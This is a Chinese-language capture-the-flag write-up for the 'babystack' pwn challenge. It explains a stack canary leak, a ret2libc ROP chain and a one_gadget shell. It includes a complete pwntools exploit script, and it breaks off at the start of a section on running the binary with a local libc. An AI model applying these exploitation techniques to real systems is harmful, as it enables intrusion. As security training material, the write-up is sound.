攻防世界babystack(pwn1)——glibc_all_in_one初体验

文章目录

  • 攻防世界babystack(pwn1)——glibc_all_in_one初体验
    • 引入
    • 初步分析
      • 1、checksec
      • 2、伪代码分析
      • 3、栈分析
    • 解题思路
      • 1、泄露canary
      • 3、get shell
      • exp
    • 本地libc运行尝试
      • 尝试1
      • 尝试2
      • 尝试3
      • 尝试4(重大进展)

引入

​ 好久没做pwn题了,找了道简单的ret2libc做做,顺便尝试解决一些历史遗留问题 (其实就是让pwn题使用本地的libc的问题,省流:有突破性进展但没有完全解决)

初步分析

1、checksec

​ 没有PIE,i了i了

2、伪代码分析

​ 直接一个大大的溢出read甩我脸上,而且还是无限循环的read,而且有120字节的溢出空间(0x100-136),完全不需要自己费尽心思去构造乱七八糟的利用链,这种题请务必もっともっと!XD

​ 但是,在main函数的最开始部份存在着一条语句v6=__readfsqword(0x28u) ,这条语句的作用就是把canary字段读到栈中,所以这道题我们需要想到绕开或者泄露canary的方法,不然盲目地栈溢出会引起程序 __stack_chk_fail的报错。这里程序正好 提供了一个puts方法,可以供我们泄露canary。

3、栈分析

addr var
-0x90 buf
-0x8 var_8
0x0 s
0x8 r

​ 栈结构大致如上,其中var_8就是心心念念的canary,可以清楚看见canary以及返回地址都在栈溢出的覆盖范围内

解题思路

1、泄露canary

​ 由于题目给出了puts方法,所以可以尝试先把buf与canary之间的空间用字符填满,然后使用puts函数将canary输出。但是canary为了防止栈内容泄露,特地把最低位设置为"\x00",以此让输出函数被截断,防止泄露canary及canary后的栈内容。

​ 所以要是想要输出canary的值,需要使用填充字符把canary的最低位覆盖为"\x00"以外的值。又因为程序是小端程序,所以当我们溢出缓冲区一个字节时,溢出的一个字节正好能覆盖到canary的最后一个字节上,此时,canary将被认为是输入的一部分随着填充字符串被puts函数输出出来。



​ 处理后获得canary

因为调用过puts函数,所以puts的gots表地址和puts表地址是已知的,再加上有充足的溢出空间,所以这里还是请出老演员puts函数来把puts函数的libc装载地址泄露出来

​ 需要注意的是,由于程序为64位程序,所以puts函数的参数需要通过寄存器传递,所以这里还需要找到一个pop rdi; ret;的小gadget,这里我使用的是ROPgadget工具进行搜索,具体方法不再赘述。

​ 然后就可以开始构造ROP链,具体如下

payload1 = "a" * 0x88 + p64(canary) + "A"* 0x8 +  p64(rdi_addr) + p64(puts_got) + p64(puts_plt)  + p64(main_addr)

首先把canary归位,然后覆盖到返回地址,随后将puts函数的GOT表地址弹栈至rdi寄存器,再调用puts函数输出puts函数libc地址,最后返回main函数,实现持续控制。

libc_base=puts_addr-libc.symbols['puts']

3、get shell

​ 因为已经获得了libc基地址,所以现在可以随心所欲地get shell了,一般的方法是构造ROP链,尝试用一大堆gadget构造system(“/bin/sh”)并调用之,这里就不得不推荐一个神器——one_gadget,可以直接一步到位,找到libc里面的getshell语句

这里我们随便选择一个作为getshell的目的地址,构建payload如下

payload2='a'*0x88+p64(canary)+'a'*8+p64(shell)

exp

from pwn import *
from ctypes import *
context(arch='i386',os='linux',log_level = 'debug')sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()def dbg(addr):gdb.attach(p,'b *$rebase({})\nc\n'.format(hex(addr)))#p = remote("111.200.241.244",59449)
p = process('./babystack')
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')getsh_addr = 0x45216
rdi_addr = 0x400a93
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = 0x400908# canary leak
sla('>> ','1')
#pause()
sl('a'*0x84 + "ABCD")
sla('>> ','2')
ru('a'*0x84 + "ABCD")
#pause()
canary=u64(rc(8)[1::].rjust(8,'\x00'))
print hex(canary)# libc leak
payload1 = "a" * 0x88 + p64(canary) + "A"* 0x8 +  p64(rdi_addr) + p64(puts_got) + p64(puts_plt)  + p64(main_addr)
sla('>> ','1')
sl(payload1)
pause()
sla('>> ','3')
puts_addr = u64(rc(8).ljust(8,"\x00"))
print hex(puts_addr)# get shell
libc_base=puts_addr-libc.symbols['puts']
shell=libc_base+getsh_addr
p.sendlineafter('>> ','1')
payload2='a'*0x88+p64(canary)+'a'*8+p64(shell)
p.sendline(payload2)p.sendlineafter('>> ','3')
p.interactive()

本地libc运行尝试

因为一直没法打通本地环境,根据网上教程尝试使用patchelf工具对目标程序的默认libc进行更换

尝试1